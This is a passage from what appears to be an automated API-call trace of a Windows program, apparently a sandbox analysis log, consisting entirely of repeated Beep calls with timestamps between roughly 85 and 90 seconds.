(dwFreq=0x27, dwDuration=0x1) returned 1 [0085.493] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.508] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.517] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.554] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.567] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.583] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.585] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.593] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.632] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.641] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.661] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.707] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.710] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.711] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.712] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.713] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.722] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.740] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.753] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.769] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.771] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.771] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.777] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.779] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.797] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.811] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.828] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.830] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.835] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.853] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.869] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.889] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.892] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.913] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.926] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.943] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.944] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.948] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.967] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.981] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.999] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.015] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.046] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.072] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.083] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.095] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.096] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.122] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.130] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.146] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.149] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.153] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.156] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.177] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.197] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.206] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.228] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.244] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.257] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.273] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.275] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.280] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.301] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.331] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.339] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.357] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.376] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.385] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.406] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.426] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.434] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.450] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.459] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.506] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.508] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.513] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.561] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.582] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.603] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.613] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.625] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.627] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.655] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.658] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.677] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.697] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.709] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.726] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.728] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.734] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.759] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.769] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.781] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.799] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.813] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.829] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.830] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.854] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.862] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.884] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.901] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.910] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.926] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.927] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.932] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.945] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.962] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.963] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0086.991] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.002] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.020] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.035] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.052] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.054] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.062] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.108] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.124] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.135] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.143] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.175] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.180] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.182] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.220] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.288] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.291] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.295] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.297] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.298] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.300] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.338] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.348] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.382] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.402] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.416] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.433] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.447] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.464] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.466] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.470] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.490] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.507] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.537] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.545] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.555] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.577] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.587] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.601] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.603] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.632] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.656] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.672] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.702] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.705] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.706] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.711] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.731] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.750] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.765] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.774] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.775] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.777] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.780] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.782] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.784] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.800] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.833] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.855] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.868] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.881] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.899] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.902] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.908] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.925] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.944] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.956] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.958] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.984] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0087.997] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.008] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.024] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.054] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.057] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.064] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.081] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.095] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.121] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.146] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.158] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.171] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.211] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.254] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.273] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.283] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.306] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.327] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.344] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.347] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.347] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.351] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.372] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.384] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.401] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.404] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.412] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.448] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.460] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.480] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.514] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.523] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.538] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.539] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.567] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.577] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.597] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.617] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.622] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.638] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.658] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.660] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.662] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.662] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.696] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.715] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.723] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.729] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.760] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.761] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.764] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.782] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.794] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.810] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.816] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.817] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.820] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.840] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.854] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.870] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.875] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.877] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.881] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.900] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.918] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.930] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.941] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.943] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.966] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.981] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0088.990] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.008] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.028] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.040] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.057] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.068] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.084] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.100] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.117] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.120] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.121] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.126] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.139] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.170] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.215] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.253] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.254] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.255] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.259] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.261] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.286] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.302] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.311] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.327] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.358] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.383] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.393] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.411] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.429] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.438] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.440] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.449] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.471] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.479] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.494] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.501] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.527] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.545] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.547] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.556] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.572] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.586] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.604] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.605] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.608] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.628] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.641] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.657] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.659] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.660] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.661] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.662] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.667] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.683] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.701] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.719] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.736] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.747] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.766] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.792] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.800] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.814] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.831] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.848] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.865] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.867] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.868] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.872] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.894] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.906] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.925] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.927] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.935] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.948] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.961] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.977] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.980] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.982] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.982] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.986] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0089.988] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.005] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.020] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.036] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.038] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.045] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.048] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.065] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.086] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.100] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.115] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.130] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.145] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.148] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.150] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.151] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.155] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.174] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.202] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.205] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.211] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.213] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.233] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.257] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.279] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.296] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.311] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.328] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.330] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.335] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.354] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.386] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.388] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.398] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.412] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.425] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.441] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.442] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.446] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.449] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.470] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.482] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.498] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.499] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0090.500] Beep (dwFreq=0x27, 